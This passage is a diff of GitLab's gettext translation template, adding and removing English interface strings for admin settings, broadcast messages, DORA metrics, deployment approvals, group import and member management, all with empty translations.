+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
